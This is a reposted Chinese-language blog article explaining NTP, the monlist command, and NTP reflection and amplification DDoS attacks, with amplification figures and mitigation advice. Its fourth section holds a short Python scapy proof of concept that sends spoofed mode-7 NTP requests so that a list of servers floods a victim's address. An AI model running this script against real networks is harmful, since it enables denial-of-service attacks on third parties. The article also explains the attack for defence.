The Reflection And Amplification Attacks NTP Reply Flood Attack Based On NTP
目錄
1. NTP簡(jiǎn)介 2. NTP協(xié)議格式 3. NTP Reflect反射漏洞和NTP協(xié)議的關(guān)系 4. 漏洞觸發(fā)的前提和攻擊需要的步驟 5. 針對(duì)漏洞的攻防思考?
1. NTP簡(jiǎn)介
Network Time Protocol(NTP)是用來使計(jì)算機(jī)時(shí)間同步化的一種協(xié)議,它可以使計(jì)算機(jī)對(duì)其服務(wù)器或時(shí)鐘源(如石英鐘,GPS等等)做同步化,它可以提供高精準(zhǔn)度的時(shí)間校正(LAN上與標(biāo)準(zhǔn)間差小于1毫秒,WAN上幾十毫秒),且可介由加密確認(rèn)的方式來防止惡毒的協(xié)議攻擊。
NTP提供準(zhǔn)確時(shí)間,首先要有準(zhǔn)確的時(shí)間來源,這一時(shí)間應(yīng)該是國(guó)際標(biāo)準(zhǔn)時(shí)間UTC。 NTP獲得UTC的時(shí)間來源可以是
1. 原子鐘 2. 天文臺(tái) 3. 衛(wèi)星 4. 也可以從Internet上獲取這樣就有了準(zhǔn)確而可靠的時(shí)間源。時(shí)間按NTP服務(wù)器的等級(jí)傳播。按照離外部UTC源的遠(yuǎn)近將所有服務(wù)器歸入不同的Stratum(層)中
1. Stratum-1在頂層 有外部UTC接入 2. Stratum-2 從Stratum-1獲取時(shí)間 3. Stratum-3 Stratum-2獲取時(shí)間,以此類推Stratum層的總數(shù)限制在15以內(nèi)。所有這些服務(wù)器在邏輯上形成階梯式的架構(gòu)相互連接,而Stratum-1的時(shí)間服務(wù)器是整個(gè)系統(tǒng)的基礎(chǔ)。計(jì)算機(jī)主機(jī)一般同多個(gè)時(shí)間服務(wù)器連接, 利用統(tǒng)計(jì)學(xué)的算法過濾來自不同服務(wù)器的時(shí)間,以選擇最佳的路徑和來源來校正主機(jī)時(shí)間。即使主機(jī)在長(zhǎng)時(shí)間無法與某一時(shí)間服務(wù)器相聯(lián)系的情況下,NTP服務(wù)依然有效運(yùn)轉(zhuǎn)。
為防止對(duì)時(shí)間服務(wù)器的惡意破壞,NTP使用了識(shí)別(Authentication)機(jī)制,檢查來對(duì)時(shí)的信息是否是真正來自所宣稱的服務(wù)器并檢查資料的返回路徑,以提供對(duì)抗干擾的保護(hù)機(jī)制
RFC上關(guān)于NTP的簡(jiǎn)介
http://www.rfc-editor.org/search/rfc_search_detail.php?title=NTP&pubstatus%5B%5D=Any&pub_date_type=any0x1: 基于NTP網(wǎng)絡(luò)協(xié)議的時(shí)間同步
Device A(client)和Device B(ntp server)通過網(wǎng)絡(luò)相連,它們都有自己獨(dú)立的系統(tǒng)時(shí)鐘,需要通過NTP實(shí)現(xiàn)各自系統(tǒng)時(shí)鐘的自動(dòng)同步
1. 在Device A和Device B的系統(tǒng)時(shí)鐘同步之前,Device A的時(shí)鐘設(shè)定為10:00:00am,Device B的時(shí)鐘設(shè)定為11:00:00am 2. Device B作為NTP時(shí)間服務(wù)器,即Device A將使自己的時(shí)鐘與Device B的時(shí)鐘同步 3. NTP報(bào)文在Device A和Device B之間單向傳輸所需要的時(shí)間為1秒(實(shí)際的網(wǎng)絡(luò)延遲可能大于1秒) 4. Device A發(fā)送一個(gè)NTP報(bào)文給Device B,該報(bào)文帶有它離開Device A時(shí)的時(shí)間戳,該時(shí)間戳為10:00:00am(T1) 5. 當(dāng)此NTP報(bào)文到達(dá)Device B時(shí),Device B加上自己的時(shí)間戳,該時(shí)間戳為11:00:01am(T2) 6. 當(dāng)此NTP報(bào)文離開Device B時(shí),Device B再加上自己的時(shí)間戳,該時(shí)間戳為11:00:02am(T3) 7. 當(dāng)Device A接收到該響應(yīng)報(bào)文時(shí),Device A的本地時(shí)間為10:00:03am(T4)
在整個(gè)NTP交互過程中,交互的節(jié)點(diǎn)雙方都可以得到T1、T2、T3、T4這幾個(gè)參數(shù)
1. NTP報(bào)文的往返時(shí)延: Delay= (T4-T1) -(T3-T2) = 2秒2. Device A相對(duì)Device B的時(shí)間差: offset= ( (T2-T1) + (T3-T4) ) / 2 = 1小時(shí)通過這4個(gè)參數(shù)的加減,我們會(huì)發(fā)現(xiàn)網(wǎng)絡(luò)的延時(shí)在傳輸過程中被"消除"掉了,通過"消除"得到了傳輸時(shí)差的2倍,然后除2,最后得到的就是兩個(gè)端點(diǎn)之間的時(shí)間差了
Relevant Link:
http://baike.baidu.com/view/60648.htm http://en.wikipedia.org/wiki/Network_Time_Protocol http://zh.wikipedia.org/wiki/%E7%B6%B2%E7%B5%A1%E6%99%82%E9%96%93%E5%8D%94%E8%AD%B0?
2. NTP協(xié)議格式
關(guān)于NTP網(wǎng)絡(luò)協(xié)議的協(xié)議格式的相關(guān)知識(shí),請(qǐng)參閱另一篇文章
http://www.cnblogs.com/LittleHann/p/3837839.html //搜索:0x1: NTP網(wǎng)絡(luò)協(xié)議?
3. NTP Reflect反射漏洞和NTP協(xié)議的關(guān)系
要了解NTP放大攻擊,我們需要重點(diǎn)關(guān)注協(xié)議中的一個(gè)字段,"Mode"字段,這個(gè)字段表示這個(gè)NTP數(shù)據(jù)報(bào)的類型和用途,總共有7種mode
0: 未定義 1: 主動(dòng)對(duì)等體模式 2: 表示被動(dòng)對(duì)等體模式 3: 表示客戶模式 4: 表示服務(wù)器模式 5: 表示廣播模式或組播模式 6: 表示此報(bào)文為NTP控制報(bào)文(MODE_CONTROL) 7: 預(yù)留給內(nèi)部使用(MODE_PRIVATE)而這當(dāng)中的編號(hào)7的NTP報(bào)文,是專門預(yù)留給ntpdc(linux gnu下默認(rèn)安裝的ntp client)使用的
ntpdc支持很多的指令
ntpdc -n -i time-a.nist.gov ntpdc> ?而這些命令中有一個(gè)存在風(fēng)險(xiǎn)的指令:monlist
Monlist指令,可以獲取與目標(biāo)NTP Server進(jìn)行過同步的最后600個(gè)客戶機(jī)IP //這意味著,一個(gè)很小的請(qǐng)求包,就能獲取到大量的活動(dòng)IP地址組成的連續(xù)UDP包在這種情況,實(shí)際的攻擊效果是
1. 發(fā)送會(huì)回包比是1:73 2. 發(fā)送數(shù)據(jù)量和回收數(shù)據(jù)量是234bytes:73x482bytes 約等于 1:562 3. 10M的通信流量可以得到5620M的攻擊流量分析到這里,我們需要理解一個(gè)反射(relection)的概念,從本質(zhì)上來說,反射攻擊和ip spoofing、mac spoofing是一個(gè)道理
1. 正常情況:client和server建立udp或者tcp同喜,數(shù)據(jù)在client和server之間傳輸 2. 反射攻擊情況下:攻擊者通過將數(shù)據(jù)包的源ip(source ip)偽造為受害者的ip,并發(fā)往server,對(duì)于server來說,這個(gè)數(shù)據(jù)報(bào)就是來自于受害者的數(shù)據(jù)包,于是server對(duì)這個(gè)數(shù)據(jù)包進(jìn)行響應(yīng),并向受害者返回對(duì)應(yīng)的應(yīng)答數(shù)據(jù)包而UDP的無連接通信模式又更加劇了這個(gè)過程的簡(jiǎn)單化,黑客可以直接以"無狀態(tài)的模式"向server發(fā)送大量的偽造包,而不用建立任何有效連接
黑客可以利用現(xiàn)在互聯(lián)網(wǎng)上的NTP Server進(jìn)行反射DDOS攻擊,無形中,NTP Server的幫兇,在無意識(shí)中對(duì)受害者進(jìn)行了大流量攻擊
Relevant Link:
http://chenjiji.com/post/3761.html http://blog.sina.com.cn/s/blog_459861630101b4wf.html http://www.douban.com/note/171309770/?
4. 漏洞觸發(fā)的前提和攻擊需要的步驟
NTP Reflect DDOS Attack這種漏洞的根源在于NTP Server服務(wù)器的配置漏洞,因此,這個(gè)漏洞觸發(fā)的前提,同時(shí)也是我們檢測(cè)機(jī)器是否存在這個(gè)漏洞的依據(jù)是
1. ntp.conf配置文件中是否開啟了`disable monitor`選項(xiàng) 2. 當(dāng)前是否有程序在監(jiān)聽 UDP 123 端口0x1: 測(cè)試POC
#!/usr/bin/env python # author: pangzi.me@gmail.comimport sys from scapy.all import *def attack(target, ntp_server):send(IP(dst=ntp_server, src=target)/(UDP(sport=52816)/NTP(version=2, mode=7, stratum=0, poll=3, precision=42)))if __name__ == "__main__":if len(sys.argv) != 3:sys.exit(1)target = sys.argv[1]ntp_server_file = sys.argv[2]for ntp_server in open(ntp_server_file, "r"):ntp_server = ntp_server.strip()if ntp_server != "":attack(target, ntp_server)0x2: NTP反射攻擊的相關(guān)案例
https://isc.sans.edu/forums/diary/NTP+reflection+attack/17300 http://openntpproject.org/ http://www.internetsociety.org/doc/amplification-hell-revisiting-network-protocols-ddos-abuse http://blog.cloudflare.com/technical-details-behind-a-400gbps-ntp-amplification-ddos-attack/ http://arstechnica.com/security/2014/01/new-dos-attacks-taking-down-game-sites-deliver-crippling-100-gbps-floods/ https://www.us-cert.gov/ncas/alerts/TA14-013A?
5. 針對(duì)漏洞的攻防思考
總結(jié)一下這種漏洞的本質(zhì)原因,我們會(huì)發(fā)現(xiàn)
1. 此指令的不等價(jià)交換(1: 562的報(bào)酬) 屬于單條簡(jiǎn)單指令可以得到大量回顯的指令2. UDP協(xié)議的通信模糊性(無三次握手驗(yàn)證) 黑客可以以極低的成本發(fā)送偽造后的UDP攻擊數(shù)據(jù)包3. 以及NTP服務(wù)器的無認(rèn)證機(jī)制 使得反射型DDos攻擊成為可能0x1: 修復(fù)/防御方法
1. 加固 NTP 服務(wù)1) 把 NTP 服務(wù)器升級(jí)到 4.2.7p262) 關(guān)閉現(xiàn)在 NTP 服務(wù)的 monlist 功能,在ntp.conf配置文件中增加`disable monitor`選項(xiàng)3) 在網(wǎng)絡(luò)出口封禁 UDP 123 端口2. 防御 NTP 反射和放大攻擊1) 由于這種攻擊的特征比較明顯,所以可以通過網(wǎng)絡(luò)層或者借助運(yùn)營(yíng)商實(shí)施 ACL 來防御2) 使用防 DDoS 設(shè)備進(jìn)行清洗Relevant Link:
http://drops.wooyun.org/papers/926?
Copyright (c) 2014 LittleHann All rights reserved
?
轉(zhuǎn)載于:https://www.cnblogs.com/LittleHann/p/4072437.html
總結(jié)
以上是生活随笔為你收集整理的The Reflection And Amplification Attacks NTP Reply Flood Attack Based On NTP的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: Eclipse中部署hadoop2.3.
- 下一篇: 警惕使用WebClient.Downlo